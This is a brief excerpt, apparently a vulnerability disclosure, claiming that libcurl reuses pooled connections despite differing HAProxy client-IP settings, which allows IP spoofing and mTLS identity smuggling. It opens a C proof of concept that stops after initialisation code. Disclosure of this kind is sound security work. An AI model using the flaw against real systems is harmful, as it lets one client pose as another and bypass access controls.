HAProxy Connection Reuse leads to IP Spoofing and mTLS Context Smuggling

`libcurl` fails to respect the `CURLOPT_HAPROXY_CLIENT_IP` configuration when reusing existing connections. Due to a missing check in the connection pooling logic, `libcurl` indiscriminately reuses a TCP/TLS connection established with a specific identity (IP A) for subsequent requests requiring a …

#include <stdio.h>
#include <curl/curl.h>
#include <unistd.h>

int main(void) {
  CURL *curl;
  CURLcode res;

  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();

  if(curl) {
    printf("--- PoC: CRITICAL IDENTITY HIJACKING ---\n");

    // Configuration Commune …